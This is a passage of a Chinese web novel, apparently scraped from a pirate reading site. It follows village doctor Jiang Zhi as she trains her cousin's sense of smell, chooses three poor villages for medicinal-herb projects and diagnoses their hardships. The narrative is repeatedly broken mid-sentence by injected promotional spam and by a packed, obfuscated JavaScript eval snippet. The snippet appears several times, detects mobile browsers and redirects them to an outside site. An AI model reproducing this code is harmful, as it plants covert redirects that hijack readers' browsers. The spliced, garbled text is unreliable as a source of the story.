姜芷家那座青砖大瓦房俨然成了全村的圣地。 一大早大队长赵大山带头提着自家酿的米酒上门满脸红光地喊着。 “芷丫头 姜芷把他让进屋淡淡一笑:“赵叔这好日子可不是我给的是大家伙一锄头一锄头刨出来的。” 赵秀娥端着热气腾腾的糖水出来落落大方地招呼着客人眉眼间再不见一丝怯懦满是当家主母的从容与自信。 一整个上午院子里的人就没断过。 就在最热闹的时候邮递员骑着那辆破旧的二八大杠车轮陷在雪里几乎是半推半跑地冲了过来嗓门比鞭炮还响。 “姜芷同志!西南军区来的加急包裹!” 院内瞬间一静。 所有人的目光火辣辣地投向那个用军绿色帆布包得严严实实的大箱子。 “肯定是陆团长给未来媳妇寄的年货!”不知谁喊了一句院里爆发出哄笑。 赵秀娥的脸笑成了一朵花嘴上嗔怪:“这孩子人回不来就算了还寄这么些东西多破费。” 姜芷在众人艳羡的目光中将那个沉甸甸的包裹抱进了屋。 关上门隔绝了喧嚣她的心跳却乱了一拍。 撬开木箱一股混杂着药香与食物的独特气息扑面而来。 箱子塞得满满当当。 给母亲的是两团上好的紫色羊毛线一罐麦乳精一罐上海雪花膏。 都是这个年代一个女婿能给丈母娘的最顶格的体面。 拿开这些下面就是给她的。 雷打不动的一大包大白兔奶糖。 几本用油纸包得妥帖的线装医书纸页泛黄上面全是蝇头小楷手抄的方子记录着各种西南边陲的奇花异草。 这比任何金银珠宝都更能戳中她的心。 还有几个木盒装着她在西南时只提过一嘴的几种罕见毒草标本。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 这个男人,话不多,却把她的一切都刻在了心里。 箱子最底层,是一封信。 信里没有肉麻情话,只是笨拙地报平安,解释东西的来路。 大部分是部队发的福利,还有一些是他用自己的津贴和票证买的。 信的末尾,字迹都透着一股急切。 “探亲假已批,开春解冻,我就回来。” 姜芷看着那行字,清冷的眼底,慢慢化开一抹暖意。 她将信纸小心折好,收起,走到窗边。 院子里,乡亲们的笑脸在阳光下格外真挚。 这是她来到这个时代的第一个新年。 有家,有母亲,有牵挂的人,还有一份愿意为之奋斗的事业。 真好。 她拿起一颗大白兔奶糖,剥开糖纸放进嘴里。 浓郁的奶香瞬间化开,甜到了心底。 年味儿在热闹和富足中渐渐散去。 开春后,冰雪消融,红星大队再次变得热火朝天。 有了钱,有了粮,还有了县里和省里当靠山。 大队长赵大山的腰杆挺得笔直,走路都带风。 按照姜芷开春前就定下的规划,“鬼见愁”药田开始了第二期扩张。 社员们的热情空前高涨,根本不用催,每天天不亮就扛着锄头上了山。 工分翻倍,还有粮食补助,这样的好事上哪儿找去? 更重要的是,所有人都亲眼见证了姜芷点石成金的本事。 跟着芷丫头干,没错! 赵秀娥如今也彻底脱胎换骨,成了药田的技术总监。 她本就在侍弄花草上有天赋,又经过姜芷的指点和自己的摸索,现在管理起上百号人来,竟也有模有样。 姜芷则把大部分精力,都放在了陆向东送来的那几箱子“宝贝”上。 那些医书孤本,让她如获至宝,常常一看就是一整天。 这天,姜芷正在整理药材。 姜巧巧像往常一样,沉默地坐在一旁帮忙。 经过一个冬天的调养,姜巧巧气色好了不少,不再是那个眼神里充满嫉妒和不甘的姑娘,手上的活儿也做得又快又好。 姜芷拿起一把刚炮制好的当归,递到她面前,声音清淡:“闻闻,跟上次的有什么不一样?” 这已是她们之间的日常。 姜巧巧接过,闭上眼,深深吸了口气。 片刻后,她睁开眼,有些不确定地说:“这次的酒味更重,但药气淡了分 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 毫。是不是……炒制时火候过了那么一瞬间,伤了药性?” 姜芷眉梢挑了一下。 分毫不差。 这个姜巧巧,天生一副“药鼻子”,对气味的辨识能力,甚至比前世姜家一些专职培养的老药工还要敏锐。 这天赋,当个药奴可惜了。 “还行。”姜芷收回当归,不咸不淡地评价。 姜巧巧早已习惯,默默低下头继续干活,心里却不像表面那般平静。 每一次考验,都让她紧张,又隐隐期盼。 她渴望得到认可,哪怕只是一句冷冰冰的“还行”。 “你过来。”姜芷忽然开口。 姜巧巧愣了一下,局促地走到她面前。 姜芷指了指桌上十几个一模一样的小布包。 “这里面,是十三种被碾成粉的药材,你把它们都闻一遍,告诉我,分别是什么。” 这是升级版的考验。 从辨识整株药材,到辨识药材粉末。 姜巧巧的心一下子提到了嗓子眼。 这是考校。 是姜芷在正式地考校她。 姜巧巧攥紧了拳,指甲掐进掌心,强迫自己镇定下来。 她解开第一个布包,凑到鼻尖。 药粉的气味早已被碾碎,混着粗布的尘土气,哪里还寻得到半分草药原本的模样。 许久,她艰涩地开口。 “是……白芷?” 姜芷下颌微点,示意下一个。 “川芎。” “生甘草,带着新翻泥土的腥气。” …… 姜巧巧一个接一个地辨认,额头渐渐渗出了细密的汗珠。 当她拿起最后一个布包时,整个人都僵住了。 这味道极淡,清雅得几乎没有,又无孔不入地钻进脑子里,熟悉得让她心慌。 “想不出,就放下。”姜芷声音平淡。 “不……” 姜巧巧发狠地摇头,把布包死死抵在鼻下,闭上眼,逼着自己去想。 院外,早春的微风拂过,送来远处山坡上初融的雪水混着泥土的芬芳。 是了! 就是这个味道! 姜巧巧猛地睁开眼,声音激动:“是地龙籽!是咱们种在鬼见愁坡上,草种的味道!” 她说完,死死盯着姜芷,手心全是汗。 姜芷凝视了她半晌,终于缓缓点头。 “十三种,对十一。白芷与白芨,你混了。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 接着话锋一转。 “从明天起你不用再挑拣药材。” “药房里的东西你每天自选三种看、闻、记。三天后我来考。” 姜巧巧的心脏瞬间缩紧。 她不是傻子。 她听懂了。 这不是在让她干活抵债了这是……在教她! 她张了张嘴想说什么激动的一个字都吐不出来眼眶涨得滚烫。 “别高兴太早。”姜芷看穿了她的心思语气冷清“我不是发善心更不是收徒。” “我只是觉得你这鼻子当个睁眼瞎的药工可惜了。” “我教你本事你给**活。以后药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360418|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材的炮制、配伍都归你。我记你双倍工分。” “这是交易你我两清。” 姜芷看着她 “但机会只此一次。我的东西不好学你如果偷懒耍滑或者存着别的心思……” 她没再说下去。 可眼神里的警告比任何话语都更有分量。 姜巧巧一个激灵用袖子胡乱抹掉脸上的泪然后对着姜芷将腰深深地弯了下去。 “姐我明白!” 她的声音带着浓重的鼻音异常决绝。 “我给你当牛做马!绝不给你丢人!” 从这天起姜巧巧的生活彻底翻篇。 她不再是那个坐在门口任人指点的“哑巴”而是成了姜芷药房里唯一可以自由出入的影子。 姜芷给了她一把铜钥匙准她翻看那些不对外人开放的药材与标本。 姜巧巧像是掉进了米缸的老鼠一头扎了进去。 天不亮她就起来将药房内外擦拭得一尘不染。 然后就抱着一本姜芷扔给她的《药性歌括四百味》一个字一个字地死磕。 不识字就去求村里的小学老师。 不懂药性她不敢问姜芷就自己默默记下拿着对应的药材看闻甚至偷偷用舌尖尝试图用整个身体去理解书上那些文字。 姜芷让她每天记三味她就逼自己记十味。 白天她跟在赵秀娥身后上山辨认那些还带着泥土的活药。 晚上她就在昏黄的煤油灯下整理药材背诵药性一待就是大半夜。 村里人都说姜巧巧疯了比生产队的驴还不要命。 赵秀娥心疼几次想劝都被姜芷拦下了。 “娘玉不琢不成器。她前半辈 你的朋友正在书荒,快去帮帮他吧 子活得太浑,现在,就得用这股狠劲儿,把骨子里的脏东西都磨掉。”姜芷声音很淡,“什么时候,这股狠劲儿成了她吃饭喝水的习惯,她才算真正活过来了。” 姜芷给了她一个登天的梯子,但路,终究要她自己一点点爬上去。 这天,当山头的积雪彻底消融,第一缕带着暖意的春风吹过光秃秃的树梢。 红星大队迎来了开春后的第一件大事。 省里派来的吉普车,再次停在了大队部门口。 来的是王厅长的秘书小李,还有那位对姜芷佩服得五体投地的农科院专家刘老。 两人一下车,就被眼前热火朝天的景象给镇住了。 村路被打扫得干干净净,社员们精神抖擞,男人们扛着锄头修整水渠,女人们在赵秀娥带领下给暖棚里的药苗通风。 那几个巨大的暖棚,在早春薄雾里蒸腾着白气,充满了撼人的生命力。 “乖乖,这气象……跟咱们在省城机关里看的贫困村报告,完全是两个世界!”小李秘书惊得合不拢嘴。 刘老推了推眼镜,眼神里全是叹服:“这都是姜顾问的功劳!她不光懂技术,更懂怎么调动人的心气!” 两人不敢耽搁,在赵大山的带领下,直奔姜芷家。 姜芷正在院里擦拭她的宝贝药箱,旁边,姜巧巧蹲在地上,用一把小刷子,仔细清洗着几株刚挖出的草药根茎。 “姜顾问!” 小李远远就热情地喊道,姿态放得比上次王厅长亲临时还要低。 姜芷抬眸,看到他们,并不意外,平静地点了下头:“李秘书,刘老。” “姜顾问,我们是奉王厅长的命令,来向您汇报工作的!” 小李从公文包里,小心翼翼地捧出五本厚厚的档案袋。 “您上次交代的选址标准,我们组织了三个工作组,花了近两个月,跑遍了南湖省最贫困的十七个县,最终筛选出了这五个最符合条件的村子。” 他将五个档案袋一一摆在石桌上。 “这是五个村子的详细资料,包括地理、气候、水文、土壤成分的初步分析报告,以及当地村干部的背景调查。请您过目!” 刘老也凑上前来,语气愈发恭敬。 “姜顾问,这五个点各有难处,我们实在拿不准主意。王厅长特意让我们来请您,最好是……能亲自去实地考察一趟。” 第113章 点石成金,神医的布局 刘老搓了搓冻得有些僵硬的手身子微微前倾满眼期待和请教的意味。 “姜顾问纸上得来终觉浅这地里的门道还得您这样的行家来掌眼啊。” 省里派专车请一个村里的赤脚医生去全省各地“掌眼”。 这话本身就是个天大的奇闻。 可此时此刻无论是刘老还是小李秘书都觉得理所当然。 姜芷没应声。 她用温水洗了手拿布巾不紧不慢地擦干这才拿起最上面的一份档案。 院子里瞬间安静下来只剩下纸张翻动的沙沙声。 她看得极快目光扫过那些密密麻麻的数据和图表几乎不做停留。 赵大山站在一旁看着那些他一个字都看不懂的表格和报告心里既骄傲又敬畏。 他知道芷丫头现在办的是关系到全省的大事。 小李秘书和刘老更是连呼吸都放轻了目光死死盯着姜芷的脸心都提到了嗓子眼生怕她一个摇头这事就得黄。 姜芷看完一份 足足过了半个钟头最后一份档案才被她轻轻合上。 她端起桌上已经凉透的茶水喝了一口润了润喉才开了口。 “去是要去的。” 小李和刘老同时松了一口气脸上露出喜色。 “但是五个地方都去太浪费时间。” 姜芷伸出三根秀气的指头在桌上轻轻点了点。 “我只去这三个地方。” 她从五份档案中抽出三份推到两人面前。 “李秘书劳烦安排一下行程。我们下周一出发。” 小李秘书连忙点头:“是!是!姜顾问!我马上就去跟县里协调车辆和介绍信!您看随行人员……” “刘老跟着。” 姜芷看向刘老。 “多带几本笔记本路上随时记。” “哎!好好好!” 刘老脸上泛起一层亢奋血色这可是神医开小灶千金不换的学习机会! “另外”姜芷又补充道“这次出去时间不短。家里的药田全权交给我娘和赵叔。社员的工分照记。还有.” 她的目光落在一旁始终低着头的姜巧巧身上。 “姜巧巧你跟我一起去。” 这话一出所有人都愣住了。 “小芷!”赵大山猛地抬头难以置信“你带她去做啥?这丫头笨手笨脚的 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 别给你添乱!” 姜芷摇了摇头,目光依旧落在姜巧巧身上。 “她不笨,也不会添麻烦。” “她天生一副好鼻子,是块跟药材打交道的料。” “这次出去,我要教她如何辨识药材的品相、年份和产地。” “红星大队的摊子以后要铺得更大,不能事事都靠我。我需要一个能帮我验货、品控的‘鼻子’。” 这话,她是对赵大山说的,更是说给姜巧巧听的。 这是在培养她。 姜巧巧的身体猛地一颤,心脏瞬间狂跳起来。 她豁然抬头,难以置信地看着姜芷,张了张嘴,喉咙里像是堵了团棉花,一个字都说不出来,眼眶瞬间红了。 她以为,这辈子就是给姜芷当牛做马,赎清罪孽,能有口饭吃,已经是天大的恩赐。 她从没敢想过,姜芷竟然会愿意教她本事,还亲自带她出去涨见识! 给她一个能真正安身立命的机会。 这比给她再多的钱,都让她感到震撼。 姜芷没理会她的失态,转头对小李秘书说:“所以,车上多备一个人的位置。” “没问题!绝对没问题!”小李秘书立刻反应过来,连声答应,“我这就去安排!” 事情就这么定了下来。 小李秘书和刘老兴高采烈地回县里复命。 赵秀娥看着姜巧巧,嘴唇动了动,想说什么又咽了回去。 姜芷知道母亲的担忧,开口道:“娘,用人不疑,疑人不用。我给了她机会,就看她自己抓不抓得住。” 她转向姜巧巧,声音清冷依旧。 “你别高兴得太早。跟着我,会很苦。敢耍一点小心思,或者偷懒,我随时会把你扔在半路上,你自己想办法走回来。” “我……我不会的!”姜巧巧攥紧了拳头,用力摇头。 “姐,你放心!我一定好好学!你让**什么,我就干什么!我发誓,绝不偷懒!” 她的眼神里,第一次有了光。 姜芷没再多言,转身回屋,开始研究那三个村子的资料。 她要为这三个地方,量身定制出三套截然不同的点金之术。 这才是开春后,真正的大事。 夜里,姜芷家的灯亮了很久。 煤油灯下,她将那三份被选中的档案,在桌上摊开。 旁边还铺开了一张粗糙的南湖省地图。 赵秀娥和赵大山坐在旁边,好奇又紧张地看着。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他们想知道,芷丫头到底是怎么从五个都差不多的“穷根”里,一眼就挑出了这三个。 姜芷指着第一份档案,封面写着“白露坡”。 “赵叔,你看这页。” 她指着土壤检测数据。 “白露坡的土,铁、锰含量,比其他地方高出不少。报告还附了一句,当地妇女十有**气血两亏,经期不调。” 赵大山挠了挠头:“这……有啥关系?” “关系大了。” 姜芷的指尖在“铁、锰”两个字上点了点。 “这叫‘道地’。铁锰高的土,种出来的当归、川芎,补血活血的功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360419|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效,能比别处强上至少一成。而当地女人普遍体寒,说明这方水土本身就偏阴寒。” “所以,在这里种温性、补血的药材,既是顺应地利,也是反哺人身。这叫,顺天应人。” 她说完,又将第二份档案拉过来——“黑水水”。 “这个地方,更有意思。”姜芷微微一笑。 “报告说这里紧邻沼泽,瘴气弥漫,蚊虫滋生,村民多患风湿、皮癣,被周围人叫‘烂泥坑’。” “哎哟,那可不是好地方!”赵秀娥一听就皱眉。 “娘,您错了。”姜芷摇头,“对别人是烂泥坑,对我,是聚宝盆。” 她指着地图上那片沼泽区域。 “这所谓的瘴气,其实是一种特殊的菌群。炮制得当,本身就是一味治疗顽固癣症的奇药,这叫以毒攻毒。” “沼泽里天然生长的泽泻、菖蒲,都是利水渗湿的好东西。我们只需在外围大规模种植喜水的薏苡仁,就能把这片‘烂泥坑’,变成一个源源不断产出祛湿良药的宝地。” 赵大山听得一愣一愣的,感觉自己不是在听种地,而是在听天书。 最后,姜芷拿起了第三份档案——“黄土梁”。 “这里,十年九旱,黄土高坡,穷得只剩下土。” “那还能种出东西?”赵大山觉得匪夷所思。 “能。” “越是这样的绝地,越能长出顶尖的好东西。” 姜芷重重地点在“黄土”二字上。 “这里的土层极厚,呈碱性。最适合种甘草、黄芪这种根系能扎到地下几十米深的药材。” “它们就是在这种绝境里,拼命往下扎根,把土地最深处的精华,一点点吸进自己的根里。所以年份越久,药效越霸道。” 她看着已经听傻了的赵大山,认真道: “所以我给黄土梁的方案,不求一年两年见效。我要他们把眼光放长远,三年,五年,甚至十年。” “地里种下的甘草,就是他们给子孙后代存下的金山。这叫,藏富于地。” “当然,也不能让他们饿肚子。” 姜芷翻到报告附页的植物图片,指着一种带刺的灌木。 “这叫沙棘,漫山遍野都是。果子能榨油入药,价值很高。等甘草长成的这几年,就靠它,足够让村民们吃饱穿暖。” 一番话说完,赵大山和赵秀娥已经彻底失语。 他们终于明白,姜芷选这三个地方,哪里是随手乱指。 每一个选择背后,都藏着她对天时、地利、人和的通盘考量和神鬼莫测的布局。 她哪里是在教人种地。 她分明是在用她的医道,为这一方水土问诊、开方,梳理山河,调理人伦! 赵大山端起茶缸,手都在抖,心里只剩下一个念头。 南湖省,这回是真的要出一条真龙了! 第114章 陆团长一封婚书,惊动两省大佬 早春的寒意尚未完全褪去,泥土路上积雪融化,一片泥泞。 三天后,一辆军绿色的吉普车和一辆解放卡车,在一片“噼里啪啦”的鞭炮声中,缓缓驶出了红星大队。 姜芷坐在副驾驶座上。 姜巧巧则和农科院的刘老、王厅长的秘书小李,拘谨地挤在后排。 出发前,母亲赵秀娥拉着她的手,红着眼眶,嘱咐了半天。 姜芷回头看去。 母亲站在新房门口,腰杆挺得笔直,眼神里没有了过去的怯懦,全是骄傲与不舍。 大队长赵大山带着几个民兵,扛着崭新的**,在村口站成一排,为她送行。 那架势,比送地区领导视察还要郑重。 田埂上,山坡上,到处都是远远挥手的社员。 姜芷的心头,一股暖流淌过。 这里,是她的家,是她的根了。 姜巧巧透过车窗看着这一切,心中百感交集。 她也曾幻想过这样风光地坐着小汽车离开,却没想过,是以这种沾光的方式。 她悄悄看了一眼身旁正襟危坐、满脸敬畏的刘老,又看了一眼姜芷清冷的侧影,默默攥紧拳头。 这是她这辈子唯一的机会。 她必须抓住。 车子在崭新的神医路上还算平稳,一拐上通往山区的土路,立刻颠簸得像是要散架。 刘老和小李秘书一路都在悄悄观察姜芷,生怕这位“姜顾问”有半点不适。 可姜芷自上车后,就一直在闭目养神,一句话都没说。 车里的气氛,有些沉闷。 直到车子驶出县界,彻底进入连绵的群山,姜芷才睁开眼。 她没看窗外贫瘠的风景,而是对后座的姜巧巧淡声说道:“把包里那几份药材拿出来。” 姜巧巧一怔,连忙从布包里拿出几个用油纸包好的药材干品。 “闻。” 姜巧巧不敢怠慢,拿起第一包,凑到鼻下,闭目细嗅。 早春空气清冽,那股干燥的药气格外清晰。 “有豆腥气,回味带一丝甜。气味很正,但不够醇厚。”她斟酌着开口,声音有些发紧。 “这是内蒙产的黄芪,三年生,炮制手法尚可。”姜芷淡淡评价。 姜巧巧心头一松,又拿起第二包。 “这股味……冲,带着辛辣,闻久了,喉咙发痒。好像……好像还混着一丝松木的清香?” 一旁的刘老瞪大了眼睛,他闻了半天, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 只闻到一股呛人的土腥味。 姜芷的嘴角赞许。 “是辽细辛。产自长白山老林,炮制时用的是松木火烘烤,年份很足。” 接下来的一路,颠簸的山路成了姜芷的移动课堂。 从闻香识药,到辨别产地,再到品评炮制手法的优劣。 姜巧巧惊人的药鼻子天赋,被一点点挖掘出来。 刘老和小李秘书从最初的震惊,到后来已经彻底麻木。 刘老作为农科院的专家,靠的是书本和仪器。 像姜巧巧这样,单凭一个鼻子,就能把药材的出身来历说得**不离十的本事,他只在那些国宝级的老药工传说里听过。 他再看向姜芷时,眼神已经变了。 这位姜顾问,不光自己是神仙手段,连随便带在身边的一个小丫头,都是个深藏不露的奇才! 这红星大队,到底是个什么卧虎藏龙的风水宝地? …… 就在姜芷带着她的“临时学徒”,踏上考察之路时。 一封加急电报,也从遥远的西南边陲,发到了南湖省军区司令部。 “兹有我部猛虎团团长陆向东同志,经军区党委研究决定,拟与红星大队社员姜芷同志结为**伴侣。望贵部予以支持,协调办理相关事宜。” 这不仅仅是一份探亲申请,而是一份措辞严谨的结婚报告! 西南军区司令员秦振国,亲自将这份报告批复,而后拿起桌上的红色保密电话,直接打给了南湖省军区司令员。 “老周,我手下最看重的一个兵崽子,要把媳妇娶到你们南湖省去了。” 电话那头,南湖省军区周司令哈哈大笑:“秦老哥,你这是派了个团长来咱们这儿当女婿啊!哪家的姑娘这么有福气?” “红星大队,姜芷。就是上次帮了我们军区大忙,连京城卫生部都想抢的那个小神医。” 周司令的笑声一顿,语气瞬间郑重起来。 “原来是她!我明白了,秦老哥你放心,这事我亲自来办,保证给陆团长办得妥妥当当,风风光光!” 挂断电话,周司令立刻叫来秘书,亲自口述指示。 几通电话,层层下达。 省委办公室的电话,打到了省农业厅厅长办公室。 正在焦急等待前方考察消息的王建功厅长,接到省委秘书亲自打来的电话时,后背的汗**都竖起来了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360420|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 电话里,秘书只是轻描淡写地“提醒”了几句。 王厅长听完,足足愣了三分 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 钟,而后猛地从椅子上弹了起来,额头冷汗涔涔。 他派出去的那个“姜顾问”,不光是军区的特聘专家,竟然还是西南军区猛虎团团长的未婚妻! 而这位陆团长,为了娶她,直接惊动了两个省的军区大佬! 王厅长一阵后怕,庆幸自己年前亲自去拜访时,最后姿态放低了,没有闹出半点不愉快。 这哪里是请来一个顾问,这分明是请来一尊真神! 他不敢有丝毫怠慢,立刻用加密线路,将这个消息火速传达了下去。 …… 当天傍晚,车队抵达第一个试点县的招待所。 小李秘书接完一个电话,脸色变得异常精彩。 他找到正在灯下研究地图的姜芷,连咳了好几声,才用一种混合着敬畏、紧张和一丝八卦的语气汇报道:“姜……姜顾问,省厅王厅长刚刚来电,传达了一项……一项来自省军区的最高指示。” 姜芷从地图上抬起头,清澈的眼眸里带着询问。 “什么指示?” “指示说……”小李秘书的脸涨得通红,“说……猛虎团陆向东团长即将回乡完婚,为了……为了不影响您二位团聚,要求我们……务必加快工作进度,注意方式方法……” 姜芷:“……” 她的指尖在地图上轻轻一颤。 一抹极淡的红晕,飞上她白皙的脸颊,又被她迅速压了下去。 这个陆向东,搞这么大阵仗。 算算日子,这次考察最快也要十来天。等她回到村里,他应该也差不多到了。 她很快收敛心神,清了清嗓子,恢复了清冷的模样。 “知道了。” “工作是工作,私事是私事。” “明天一早,按原计划出发。” “是!”小李秘书如蒙大赦,逃也似的退了出去。 一旁的姜巧巧,将这一切都看在眼里。 她看见了姜芷脸上那一闪而逝的少女娇羞。 那一瞬间,她心里所有的嫉妒和酸涩,都化为了一声无声的叹息。 那个男人,是属于姜芷的。 她早已失去了仰望的资格。 她低下头,继续默默地整理着今天采集到的植物标本,将所有的情绪,都藏进了药草的芬芳里。 第115章 神医的诊断,全村脸都白了 第二天清晨薄雾笼罩着连绵的山峦车队再次启程。 出发前姜芷叫住了司机和一脸倦容的刘老、小李。 她捻出一枚枚乌黑的药丸递过去。 “吃了。” “姜顾问这是?”刘老好奇地问。 “晕车药。” “不想把昨夜的饭吐在颠簸的山路上就吃了它。”姜芷淡淡道。 几人不敢怠慢赶紧咽下。 果然今天的路况比昨天恶劣了何止三倍。 吉普车在坑洼的土路上剧烈摇晃好几次车轮都险些滑出悬崖吓得小李秘书把脸埋在手里不敢看。 可说也奇怪几人除了脸色发白胃里竟是稳如泰山半点翻江倒海的感觉都没有。 夜里抵达下一个招待所。 “神了!姜顾问您这药太神了!”刘老翻开小本子满眼都是求知欲“这里面究竟是什么灵丹妙药?” 姜芷扫了他一眼。 “寻常健脾和胃的草药加了一味夜明砂做引子。” “夜明砂?”刘老一愣 “炮制过的蝙蝠粪便。” 刘老:“……” 小李秘书:“……” 两人脸上表情凝固喉头滚动似乎有什么东西要呕出来。 姜芷却像没看见转身进了自己的房间。 姜巧巧跟在她身后看着那两人憋到发青的脸嘴角忍不住勾了一下。 回到房间煤油灯下姜芷摊开信纸给远方的陆向东写回信。 她没提那通惊动两省大佬的电报只说自己在外考察大约十天后回村。 笔尖停顿她最后添了一句。 “家里的药田种下了一批白芍。开春了花应该会开得很好。” 她想他会懂。 将信封好交给小李秘书让他明早寄出去。 心头那点莫名的躁动随着信纸的远去而平复。 …… 吉普车又在山路上颠簸了两天终于抵达了第一个试点村——白露坡。 车刚到村口引擎声就惊动了老槐树下**的人群。 黑压压的一片死气沉沉。 为首的是个干瘦老汉一身洗到发白的中山装空荡荡地挂在身上黝黑的脸庞上满是局促。 他就是白露坡的大队**唐老汉。 看到车停稳唐老汉立刻领着人围上来。 “是……是省里派来的专 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 家同志吗?” 他的目光在衣着体面的小李秘书和学者气质的刘老身上来回打量最后落在了姜芷身上。 小李秘书上前一步清了清嗓子郑重介绍:“唐**这位就是省农业厅特聘的药用植物种植总顾问姜芷同志!” 总顾问? 就这个还没他孙女大的丫头片子? 唐老汉和身后所有村民的眼神瞬间暗了下去。 “搞什么名堂?派个小丫头来糊弄咱们?” “嘴上**都没长齐懂个屁的种地……” 人群中窃窃私语。 唐老汉的老脸涨得通红还是挤出笑:“欢……欢迎姜顾问!欢迎各位领导来指导工作!” 姜芷对这些反应视若无睹。 她太清楚了在被贫穷和愚昧浸透的土地上任何虚名都不如一碗实实在在的饱饭。 她没寒暄只点了下头目光越过人群望向村子深处。 “唐**看地。” “哎好好!姜顾问这边请!” 唐老汉忙不迭地在前面引路。 小李秘书跟在姜芷身后压低声音忧心忡忡:“姜顾问这些村民……您别往心里去。” “用不着。”姜芷的语气很淡“等他们饿到没力气说话的时候就信了。” 小李:“……” 白露坡的地在村西的缓坡上土质尚可。 姜芷绕着整个村子走了一圈。 她看的最重要的不是地是人。 那些面黄肌瘦肚子却高高鼓起的孩子。 脸色蜡黄嘴唇发白眼神黯淡的女人。 她走到村里唯一的水井旁舀起一瓢水闻了闻又用指尖沾水 “水性阴寒矿物寡淡。” 她心里有了数。 最后她走进几户人家掀开了锅盖。 锅里是分辨不出颜色的野菜糊糊清得能照见人影连半点油星都看不到。 刘老跟在她身后拿着小本子不知从何记起。 他终于明白这位姜顾问不单单是考察土地。 而是在给整个白露坡“望、闻、问、切”。 一圈走完一张完整的“诊断书”已在姜芷心中成型。 回到村委会破败的土屋里她让唐老汉把村干部都叫了过来。 “姜顾问您看……咱们这地能种啥金贵药材不?”唐老汉搓着手满怀希冀地问。 姜芷没回答 听说看这本书的人都是很幸运的,分享后你的运气会更棒 。 她反问:“唐**,你们村里人,一天能吃上几顿干饭?” 唐老汉一僵,老脸瞬间红到耳根,羞愧地低下头。 “年景不好……一天两顿稀的都悬……干饭,那是过年才敢想的事。” “地是好地。” 姜芷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360421|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光冷冷地,扫过众人。 “但是,人是废人。” 一句话,让满屋的男人都僵住了,脸上火辣辣的。 “你们的身体,一个个亏空得像漏了底的筛子。就这么一块贫瘠的田,我就是给你们金种子,你们有力气种吗?种出来,你们有力气收吗?” “姜顾问,那……那俺们该怎么办啊?”唐老汉急了。 “想让我教你们种药材发家致富,可以。” 姜芷站起身,从刘老的笔记本上撕下一页纸,拿起铅笔,笔尖在纸上飞快划动。 “但在此之前,你们得听我的,先治病。” 所有人都竖起了耳朵。 “第一方:食补。”姜芷将一张纸推到唐老汉面前,“这上面是食疗方子,都是山里常见的马齿苋、蒲公英、刺梨。怎么搭配,怎么做,能最大限度补你们缺的东西,都写清楚了。” “从今天起,大队开伙,每天两顿,必须按方子做,让每个人都吃饱。” “第二方:药浴。”她又写了一张,“这是治你们水土不服、气血两亏的。药,山里都有,采回来大锅熬,全村人,不分男女老少,每天当水喝。” “这……这得多费事啊……”一个干部小声嘀咕。 姜芷的眼神冷冷扫过去:“嫌麻烦,就继续穷着,病着,烂死在这山沟里。” 那干部吓得一哆嗦,再不敢出声。 姜芷继续说:“唐**,你,就是这个项目的监工。你的任务,不是开荒,不是种地,是监督。” “监督每一个人,按时吃饭,按时喝药。” 她盯着唐老汉的眼睛,一字一句。 “我给你们一个月。” “一个月后,我再来。如果我看到的,还是一张张菜色脸,一个个病秧子,那这个项目,就此作废。” “如果,我看到的是一群身强体壮、眼睛里有光的庄稼汉,那我们就开始谈,怎么在这片土地上,种出能换成白花花大洋的当归和川芎!” 这番话,不是商量,是命令,是羞辱,但也是唯一的生机。 她把项目的成败,和他们身为人的尊严,死死地捆绑在了一起! 唐老汉呆愣了半晌,他看着姜芷带着强大压迫感的眼睛,只觉得一股滚烫的血,从脚底板直冲天灵盖! 